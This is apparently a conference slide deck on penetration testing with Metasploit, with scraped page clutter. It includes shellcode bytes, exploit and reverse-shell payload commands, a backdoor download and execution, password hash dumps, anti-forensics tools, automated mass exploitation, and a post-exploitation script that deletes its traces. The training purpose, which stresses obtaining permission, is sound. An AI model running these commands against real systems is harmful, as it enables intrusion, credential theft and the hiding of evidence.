Point. Click. Own.: Penetration Testing With Metasploit

"\x10\x58\x31\xC9\x66\x81\xE9\x22\xFF\x80\x30\x1D\x40\xE2\xFA\xEB\x05\xE8\xEB\xFF"
"\xFF\xFF\xF4\xD1\x1D\x1D\x1D\x42\xF5\x4B\x1D\x1D\x1D\x94\xDE\x4D\x75\x93\x53\x13"
"\xF1\xF5\x7D\x1D\x1D\x1D\x2C\xD4\x7B\xA4\x72\x73\x4C\x75\x68\x6F\x71\x70\x49\xE2"
"\xCD\x4D\x75\x2B\x07\x32\x6D\xF5\x5B\x1D\x1D\x1D\x2C\xD4\x4C\x4C\x90\x2A\x4B\x90"
"\x6A\x15\x4B\x4C\xE2\xCD\x4E\x75\x85\xE3\x97\x13\xF5\x30\x1D\x1D\x1D\x4C\x4A\xE2"
"\xCD\x2C\xD4\x54\xFF\xE3\x4E\x75\x63\xC5\xFF\x6E\xF5\x04\x1D\x1D\x1D\xE2\xCD\x48"
"\x4B\x79\xBC\x2D\x1D\x1D\x1D\x96\x5D\x11\x96\x6D\x01\xB0\x96\x75\x15\x94\xF5\x43"
"\x40\xDE\x4E\x48\x4B\x4A\x96\x71\x39\x05\x96\x58\x21\x96\x49\x18\x65\x1C\xF7\x96"
"\x57\x05\x96\x47\x3D\x1C\xF6\xFE\x28\x54\x96\x29\x96\x1C\xF3\x2C\xE2\xE1\x2C\xDD"
"\xB1\x25\xFD\x69\x1A\xDC\xD2\x10\x1C\xDA\xF6\xEF\x26\x61\x39\x09\x68\xFC\x96\x47"
Point. Click. Own.

"\x39\x1C\xF6\x7B\x96\x11\x56\x96\x47\x01\x1C\xF6\x96\x19\x96\x1C\xF5\xF4\x1F\x1D"
"\x1D\x1D\x2C\xDD\x94\xF7\x42\x43\x40\x46\xDE\xF5\x32\xE2\xE2\xE2\x70\x75\x75\x33"
Penetration Testing with Metasploit
Ethical Hacker?
GET PERMISSION
Or
You’re NOT!
2
Pentesting?
Penetration Testing
A penetration test is a method of
evaluating the security of a computer
system or network by simulating an
attack by a malicious user, commonly
known as a hacker.
3
The Framework
The Metasploit Framework
A Little History…
Cool Name. So what is it?
Open Source Development Framework for:
Penetration testing
Patch verification
Regression testing
Security research
What does it do?
It launches Modules
Configure exploit Launch at target Execute payload
5
Open Source VS. Commercial
Why use MSF?
It’s Free!
Open source
Large Community of developers/contributors
Oh, one more thing….
6
Over 110 Exploits…
CVE-1999-0874, CVE-2000-0665, CVE-2001-0311, CVE-2001-0800,CVE-2001-1583,
CVE-2002-1359, CVE-2002-2226, CVE-2003-0213, CVE-2003-0264, CVE-2003-0344,
CVE-2007-4006
Not bad for $0.00!

7
Architecture Overview
Diagram by HDMoore/MSF
Security Tools
Web Services
Integration
8
User Interfaces/Channels
User Interfaces/Channels
Msfgui
Msfweb
Msfcli
Msfd
Msfconsole
10
./msfgui
11
./msfweb
12
./msfcli
./msfcli windows/smb/ms06_040_netapi RHOST=192.168.113.11 LHOST=10.10.11.10 LPORT=4321

PAYLOAD=windows/meterpreter/reverse_tcp E
13
./msfd
./msfd –f –a 10.10.11.10
nc –v –n 10.10.11.10 55554
14
./msfconsole
15
./msfconsole
Basic Commands:
set(g) unset(g)
load unload
use show
save sessions
jobs route
info irb
loadpath back
check exploit
run
16
Basic Use
./msfconsole
use exploit:
msf> use windows/browser/apple_itunes_playlist
set SRVHOST:
msf> exploit(apple_itunes_playlist ) > set SRVHOST 10.10.11.10
set SRVPORT:
msf> exploit(apple_itunes_playlist ) > set SRVPORT 80
set PAYLOAD:
msf> exploit(apple_itunes_playlist ) > set PAYLOAD
windows/meterpreter/reverse_tcp
Exploit:
msf> exploit(apple_itunes_playlist ) exploit
18
Example Usage
http://evil-site.com/file.html
Weakest Link
Reverse Shell/PassiveX over tcp/80
19
Example Usage
msf> exploit(apple_itunes_playlist) > exploit
[*] Started reverse handler
[*] Using URL: http://10.10.11.10:80/file.pls
[*] Server started.
[*] Exploit running as background job.
msf> exploit(apple_itunes_playlist) >
[*] Sending stage (474 bytes)
[*] Command shell session 1 opened (10.10.11.10:65535 ‐>
192.168.113.10:1075)
msf> exploit(apple_itunes_playlist) > sessions ‐i 1
[*] Starting interaction with 1...
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985‐2001 Microsoft Corp.
C:\WINDOWS\System32\>
20
Security Tools
Web Services
Integration
21
Exploits
Exploits
Originally only 15 exploits
Today: 280+ precanned exploits
Pretty much any protocol
UDP, TCP, SMB, HTTP, FTP, SMTP, TFTP, SSH, etc
Multiple Platforms
bsd, hpux, irix, linux, netware, osx, solaris, unix, windows
3rd Party Applications
Quicktime, Symantec AV, TrendMicro, Backup Exec, McAfee, Novell,
BrightStor, MS Office, IE, Safari, Firefox, RealPlayer, Oracle, Apache,
IIS, BlackIce, Kerio, VNC & More
Appliances/Devices
BlueCoat, Barracuda, SonicWall VPN, iPhone, Foundry VoIP Phones
Wireless (802.11)
Broadcom, Dlink, Netgear Drivers
Kernel user-land payloads
23
Payloads
Payloads
What is a payload?
It’s the part of the code that actually does stuff.
Multiple Payload Options & Types
118 included payloads.
Encoding & IDS evasion options
Payload as an exe.
Great for custom phishing attacks
25
Payloads
Generic Shell Payloads: Windows
bind TCP (stager and adduser
inline)
dllinject
reverse TCP (stager and
inline) download_exec
find tag (stager and inline) exec
find port (inline) meterpreter
reverse_ord (Windows
only) shell
upload_exec
*nix vncinject
adduser PHP
exec bind via perl or php
shell
reverse via perl or php
26
Advanced Payloads
Reverse Http/PassiveX
Tunnel communication over HTTP
Dllinject
Injects a custom dll (you'll have to supply the dll)
VNCinject
Injects a custom VNC server dll into memory
Meterpreter
The super payload, custom dll injected into memory
27
The Meterpreter
The Meterpreter
Meta-Interpreter
An advanced post-exploitation system
Based on library injection technology
Stealthy - No disk access and no new process.
In Memory DLL injection
First released with Version 2.3
Updated and included with MSF 3.x
29
The Meterpreter
What you can do with Meterpreter?
Command execution & manipulation
In-memory process migration
Registry interaction
File system interaction
Network pivoting & port forwarding
Complete API scripting Very Cool stuff!
Anything you can do as a native DLL,
Meterpreter can do!
30
How it Works
31
The Meterpreter
You gained access, now what?
If you are pen-testing, that may be enough
If you are trying to dig into the network, you
are limited.
Most people spawn a command shell
Poor automation support
Reliant on the shell’s built in commands
Limited to installed applications
No advanced features
32
The Meterpreter
Old School Post-Exploitation
We can FTP our files...
ECHO open 10.10.11.20 21 >> x.txt
ECHO USER haxor >> x.txt
ECHO PASS 31337 >> x.txt
ECHO bin >> x.txt
ECHO GET backdoor.exe >> x.txt
ECHO bye >> x.txt
33
The Meterpreter
New School Post-Exploitation
We can upload our files via Meterpreter...
meterpreter> upload bkdr.exe bkdr.exe
[*] uploading : bkdr.exe > bkdr.exe
[*] uploaded : bkdr.exe > bkdr.exe
We don't have rely on system tools or extra

open ports
34
The Meterpreter
New School Post-Exploitation
We can run our executable via Meterpreter:

meterpreter > execute –f bkdr.exe
Process 1700 created
Or you can drop to a command prompt:

meterpreter > execute –f cmd.exe –c –H ‐i
Process 1744 created.
Channel 89 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 19852001
Microsoft Corp.
C:\WINDOWS\system32>
35
Pivoting
Pivoting through exploited hosts to gain access to internal network
36
Auxiliary Modules
Auxiliary Modules
Anything not an “exploit”
46 Modules
Discovery and fingerprinting
sweep_udp, smb/version, scanners, dcerpc, voip, http
version/put, mysql login/ping
Network protocol “fuzzers”
Wireless fun (LORCON & Scruby)
Denial of service methods
Exploits that don't have payloads
Administrative access exploits
38
Discovery & Fingerprinting
Multiple modules
dcerpc/endpoint_mapper Endpoint Mapper Service Discovery
dcerpc/hidden Hidden DCERPC Service Discovery
dcerpc/management Remote Management Interface Discovery
discovery/sweep_udp UDP Service Sweeper
http/version HTTP Version Detection

http/writable HTTP Writable Path PUT/DELETE
misc/ib_service_mgr_info Borland InterBase Services Manager Info
mssql/mssql_login MSSQL Login Utility

mssql/mssql_ping MSSQL Ping Utility
smb/pipe_auditor SMB Session Pipe Auditor

smb/pipe_dcerpc_auditor SMB Session Pipe DCERPC Auditor
smb/version SMB Version Detection
39
SMB Version
msf > use auxiliary/scanner/smb/version
msf auxiliary(version) > set RHOSTS 192.168.113.0/24
RHOSTS => 192.168.113.0/24
msf auxiliary(version) > run
[*] 192.168.113.10 is running Unknown
[*] NativeOS: Windows XP 3790 Service Pack 2
[*] NativeLM: Windows XP 5.2
[*] 192.168.113.11 is running Windows XP Service Pack 0 / Service Pack 1
[*] 192.168.113.12 is running Windows XP Service Pack 0 / Service Pack 1
[*] 192.168.113.13 is running Windows 2000 Service Pack 4 with MS05‐010+
[*] 192.168.113.14 is running Windows 2003 Service Pack 2
40
Anti-forensics
Anti-forensics
Covering your tracks
Metasploit Anti-Forensic Investigation
Arsenal (MAFIA).
Developed by Vinnie Liu
Collection of tools and documents to help
defeat forensic analysis of compromised
systems
Encase is NOT happy ☺
42
Anti-forensics
Timestomp
The first ever tool that allows you to modify all four NTFS
timestamp values: modified, accessed, created, and entry
modified (MACE).
Slacker
The first ever tool that allows you to hide files within the slack
space of the NTFS file system.
Sam Juicer
A Meterpreter module that dumps the hashes from the SAM, but
does it without ever hitting disk.
Transmogrify
The first ever tool to defeat EnCase’s file-signature capabilities by
allowing you to mask and unmask your files as any file type.
43
The Meterpreter : Priv
Hashdump AKA Sam Juicer
Dump password hashes (priv extension)
Similar to PWDump
Timestomp
Manipulate File Access Times (priv extension)
msf> priv
msf> hashdump
Administrator:500:a5f0c3fa90a64e0c64bbd09a598e07ad:783ec2dcc672dec50
738e45716634d27:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e
0c089c0:::
TsInternetUser:1000:ed060c9c6a924705dd1db7cf66cdd0e2:f2e6aa54227b9c6
dae2128fbb6db06c:::
44
Automation
Automation
Need for automation
Scanning Exploitation
Speed
Preconfigured Lists
Partial & Full Automation
Import Nessus or Nmap data
Run Nmap from MSF
Advanced configuration needed
XML reports via ActiveRecord
46
Automation
db_autopwn
Links recon data with exploit
Automates exploitation
msf > db_autopwn
[*] Usage: db_autopwn [options]
‐h Display this help text
‐t Show all matching exploit modules
‐x Select modules based on vulnerability references
‐p Select modules based on open ports
‐e Launch exploits against all matched targets
‐r Use a reverse connect shell
‐b Use a bind shell on a random port
47
Automation
msf > db_nmap -p 445 192.168.113.0/24
msf > db_services
[*] Service: host=192.168.113.2 port=445 proto=tcp state=up name=microsoft‐ds
msf > db_autopwn –p –t

Use port # to match results against exploits
msf > db_autopwn –p –t –e
48
Automation
msf > sessions -l
Active sessions
===============
Id Description Tunnel
‐‐ ‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐
1 Command shell 192.168.0.145:46858 ‐> 192.168.0.139:15441
2 Command shell 192.168.0.145:42700 ‐> 192.168.0.108:28199
3 Command shell 192.168.0.145:40966 ‐> 192.168.0.106:27915
4 Command shell 192.168.0.145:60778 ‐> 192.168.0.139:26188
5 Command shell 192.168.0.145:47380 ‐> 192.168.0.106:27700
msf > sessions ‐i 1
[*] Starting interaction with 1...
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985‐2000 Microsoft Corp.
C:\WINNT\system32>
49
Extending Metasploit
Security Tools
Web Services
Integration
51
Scripting
Extend MSF with:
Custom Exploits
Custom Payloads
Post-exploitation Automation
Meterpreter Scripts
Leverage current API
Interact with processes, file system & networking
52
Scripting Example
Scan remote subnets from target
Determine local subnets on host
Pass data back to Auxiliary Scanner modules
Upload and use 3rd party scanner
53
Scripting: scan.rb
require 'rex'
params = {
'default' => '1-1024',
'-p' => args[2]
}
client.net.config.each_route { |route|
next if route.subnet =~ /^(224\.|127\.)/
next if route.netmask == '255.255.255.255'
ip_addr = args[0]
param = args[1] || "default"
if ip_addr != "" then
ip_addr = ["#{route.gateway}"+"-254"]
print_line "No IP or ports specified. Running scan with defaults..."
else
ports = params[param]
end
print_status("Scanning: #{route.gateway}"+"-254")
bin = Rex::Text.rand_text_alpha_upper(5) + ".exe"

out = Rex::Text.rand_text_alpha_upper(5) + ".txt“
dest = "./data/post/#{out}"
54
Scripting: scan.rb
print_status("Uploading scanline to target #{bin}")
client.fs.file.upload_file("%SystemDrive%\\#{bin}", "./data/post/sl.exe")
print_status("Scan results will be output to #{out}")
client.sys.process.execute("cmd.exe /c %SystemDrive%\\#{bin} -biht #{ports} #{ip_addr} -o #{out}", nil,

{'Hidden' => 'true'})
sleep 2
scanner = "#{bin}"
while scanner_pid = client.sys.process[scanner] do
print_status("scan is still running...")
sleep 5
end
print_status("Scan has finished")

print_status("Downloading scan results to -> #{dest}")
client.fs.file.download_file("#{dest}", "#{out}")
print_status("Removing all traces of scanner and files...")
client.sys.process.execute("cmd.exe /c del %SystemDrive%\\#{bin} ", nil, {'Hidden' => 'true'})

client.sys.process.execute("cmd.exe /c del %SystemDrive%\\#{out} ", nil, {'Hidden' => 'true'})
print_status("Done! Scan Completed!\n")

}
55
Scripting: scan.rb
msf> run scan.rb
56
Conclusion
Conclusion
More than just a Exploit tool
Pentesting Teams
Attackers have it, so should you!
System Admins
Scanning for vulnerabilities
Patch Checking VS. Active Exploitation
58
DEMOS!
Links
Meterpreter Whitepaper
www.metasploit.com/projects/Framework/docs/meterpreter.pdf
Beyond EIP talk by skape from BH USA 2005
metasploit.com/confs/blackhat2005/blackhat2005.pdf
Meterpreter scripting
blog.metasploit.com/2006/10/meterpreter-scripts-and-msrt.html
REX
www.metasploit.com/documents/api/rex/index.html
OpCode Database
http://metasploit.com/opcodedb/
Shellcode
http://metasploit.com/shellcode/
60
Contact
Dean De Beer
deandebeer@gmail.com
61
Big Thanks!!
Lenny Zeltser
Chris Gates
Megan Restuccia
Charles Hornat
62
Questions?

Point. Click. Own.: Penetration Testing With Metasploit

Uploaded by

Document Information

Original Description:

Original Title

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

Point. Click. Own.: Penetration Testing With Metasploit

Uploaded by

Copyright:

Available Formats

"\x10\x58\x31\xC9\x66\x81\xE9\x22\xFF\x80\x30\x1D\x40\xE2\xFA\xEB\x05\xE8\xEB\xFF"

Point. Click. Own.

Oh, one more thing….

Not bad for $0.00!

./msfcli windows/smb/ms06_040_netapi RHOST=192.168.113.11 LHOST=10.10.11.10 LPORT=4321

Reverse Shell/PassiveX over tcp/80

We don't have rely on system tools or extra

We can run our executable via Meterpreter:

Or you can drop to a command prompt:

discovery/sweep_udp UDP Service Sweeper

http/version HTTP Version Detection

misc/ib_service_mgr_info Borland InterBase Services Manager Info

mssql/mssql_login MSSQL Login Utility

smb/pipe_auditor SMB Session Pipe Auditor

msf > db_autopwn –p –t

bin = Rex::Text.rand_text_alpha_upper(5) + ".exe"

client.sys.process.execute("cmd.exe /c %SystemDrive%\\#{bin} -biht #{ports} #{ip_addr} -o #{out}", nil,

print_status("Scan has finished")

client.sys.process.execute("cmd.exe /c del %SystemDrive%\\#{bin} ", nil, {'Hidden' => 'true'})

print_status("Done! Scan Completed!\n")

msf> run scan.rb

You might also like